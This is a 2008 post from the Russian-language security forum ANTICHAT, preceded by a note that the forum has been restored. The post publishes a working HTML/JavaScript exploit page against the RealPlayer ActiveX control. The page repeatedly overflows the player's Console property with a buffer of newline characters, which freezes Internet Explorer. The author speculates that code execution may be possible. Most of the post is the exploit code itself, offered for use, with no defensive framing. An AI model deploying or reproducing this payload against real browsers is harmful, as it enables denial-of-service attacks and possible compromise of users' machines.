RealPlayer ActiveX Remote Denial of Service Exploit

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

RealPlayer ActiveX Remote Denial of Service Exploit

12.03.2008, 21:12

Евгений Минаев

Познающий

Регистрация: 12.11.2007

Сообщений: 70

Провел на форуме:
1214722

Репутация: 676

RealPlayer ActiveX Remote Denial of Service Exploit

При запуске скрипта Интернет Эксплорер просто виснет и в последствие убивается через менеджер задач. Скорей всего возможно исполнение кода, по крайней мере автор не пробовал. Написано по эдвайсори Элазара Брода, техническое описание бага взято в чьем-то блоге.

PHP код:

<html> <head> <object classid='clsid:{CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}' id='player'></object> </head> <body> <script type="text/javascript"> if (player.GetMute() == false){ var buffer = "\x0a"; var tempel = 0; while (buffer.length < 200) buffer += "\x0a"; for (temp = 0; temp < 15;temp++){ tempel = player.Console; player.Console = buffer+tempel; } } else { alert('No RealPlayer Found'); } </script> </body> </html>